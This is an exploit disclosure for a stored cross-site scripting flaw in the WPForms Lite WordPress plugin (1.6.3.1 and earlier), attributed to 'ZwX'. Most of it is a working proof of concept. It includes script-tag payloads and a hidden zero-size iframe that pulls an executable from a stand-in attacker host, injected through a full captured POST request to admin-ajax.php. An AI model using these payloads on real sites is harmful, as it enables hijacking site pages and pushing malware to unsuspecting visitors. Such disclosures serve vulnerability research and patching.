#Exploit Author : ZwX
#Exploit Date : 2020-10-23
#Vendor Homepage : https://wpforms.com/
#Download Plugin : https://downloads.wordpress.org/plugin/wpforms-lite.1.6.3.1.zip
[+] Description Vulnerability:
==============================
A Cross Site Scripting vulnerability is located in the Wordpress
plugin [WPForms] which affects version 1.6.3.1 and other versions
lower.
To exploit the vulnerability it is necessary to be identified, the
attacker could hide JavaScript code without the knowledge of the
owner of the site.
[+] Proof Of Concept:
=====================
# HTML Code #
<textarea class="" id="wpforms-field-option-0-description"
name="fields[0][description]"
rows="3"><script>alert(1)</script></textarea>
<textarea class="" id="wpforms-field-option-0-description"
name="fields[0][description]" rows="3"><iframe
src="https://Attacker.com/putty.exe"
style="width:0;height:0;border:0;
border:none;/></textarea>
# Methode POST #
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://localhost/wp-admin/admin.php?page=wpforms-builder&view=fields&form_id=990
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 7081
Origin: http://localhost
Connection: close
action=wpforms_save_form&data=[{"name":"id","value":"990"},{"name":"field_id","value":"5"},{"name":"fields[0][id]","value":"0"},{"name":"fields[0][type]","value":"name"},{"name":"fields[0][label]","value":"Nom"},{"name":"fields[0][format]","value":"first-last"},{"name":"fields[0][description]","value":"<script>alert(1)</script>"},{"name":"fields[0][required]","value":"1"},{"name":"fields[0][size]","value":"medium"},{"name":"fields[0][simple_placeholder]","value":""},{"name":"fields[0][simple_default]","value":""},{"name":"fields[0][first_placeholder]","value":""},{"name":"fields[0][first_default]","value":""},{"name":"fields[0][middle_placeholder]","value":""},{"name":"fields[0][middle_default]","value":""},{"name":"fields[0][last_placeholder]","value":""},{"name":"fields[0][last_default]","value":""},{"name":"fields[0][css]","value":""},{"name":"fields[1][id]","value":"1"},{"name":"fields[1][type]","value":"email"},{"name":"fields[1][label]","value":"E-mail"},{"name":"fields[1][description]","value":""},{"name":"fields[1][required]","value":"1"},{"name":"fields[1][size]","value":"medium"},{"name":"fields[1][placeholder]","value":""},{"name":"fields[1][confirmation_placeholder]","value":""},{"name":"fields[1][default_value]","value":""},{"name":"fields[1][css]","value":""},{"name":"fields[1][filter_type]","value":""},{"name":"fields[1][allowlist]","value":""},{"name":"fields[1][denylist]","value":""},{"name":"fields[2][id]","value":"2"},{"name":"fields[2][type]","value":"textarea"},{"name":"fields[2][label]","value":"Commentaire ou message"},{"name":"fields[2][description]","value":""},{"name":"fields[2][required]","value":"1"},{"name":"fields[2][size]","value":"medium"},{"name":"fields[2][placeholder]","value":""},{"name":"fields[2][limit_count]","value":"1"},{"name":"fields[2][limit_mode]","value":"characters"},{"name":"fields[2][default_value]","value":""},{"name":"fields[2][css]","value":""},{"name":"fields[3][id]","value":"3"},{"name":"fields[3][type]","value":"textarea"},{"name":"fields[3][label]","value":"Paragraphe"},{"name":"fields[3][description]","value":""},{"name":"fields[3][size]","value":"medium"},{"name":"fields[3][placeholder]","value":""},{"name":"fields[3][limit_count]","value":"1"},{"name":"fields[3][limit_mode]","value":"characters"},{"name":"fields[3][default_value]","value":""},{"name":"fields[3][css]","value":""},{"name":"fields[4][id]","value":"4"},{"name":"fields[4][type]","value":"textarea"},{"name":"fields[4][label]","value":"Paragraphe"},{"name":"fields[4][description]","value":""},{"name":"fields[4][size]","value":"medium"},{"name":"fields[4][placeholder]","value":""},{"name":"fields[4][limit_count]","value":"1"},{"name":"fields[4][limit_mode]","value":"characters"},{"name":"fields[4][default_value]","value":""},{"name":"fields[4][css]","value":""},{"name":"settings[form_title]","value":"Formulaire de contact simple"},{"name":"settings[form_desc]","value":""},{"name":"settings[form_class]","value":""},{"name":"settings[submit_text]","value":"Envoyer"},{"name":"settings[submit_text_processing]","value":"Envoi..."},{"name":"settings[submit_class]","value":""},{"name":"settings[antispam]","value":"1"},{"name":"settings[notification_enable]","value":"1"},{"name":"settings[notifications][1][email]","value":"{admin_email}"},{"name":"settings[notifications][1][subject]","value":"Nouvelle entrée : Formulaire de contact simple"},{"name":"settings[notifications][1][sender_name]","value":"Le Blog de ZwX"},{"name":"settings[notifications][1][sender_address]","value":"{admin_email}"},{"name":"settings[notifications][1][replyto]","value":"{field_id=\"1\"}"},{"name":"settings[notifications][1][message]","value":"{all_fields}"},{"name":"settings[confirmations][1][type]","value":"message"},{"name":"settings[confirmations][1][message]","value":"<p>Merci de nous avoir contacté ! Nous vous contacterons rapidement.</p>"},{"name":"settings[confirmations][1][message_scroll]","value":"1"},{"name":"settings[confirmations][1][page]","value":"262"},{"name":"settings[confirmations][1][redirect]","value":""}]&id=990&
# URL Proof Of Concept #
http://localhost/?wpforms_form_preview=990
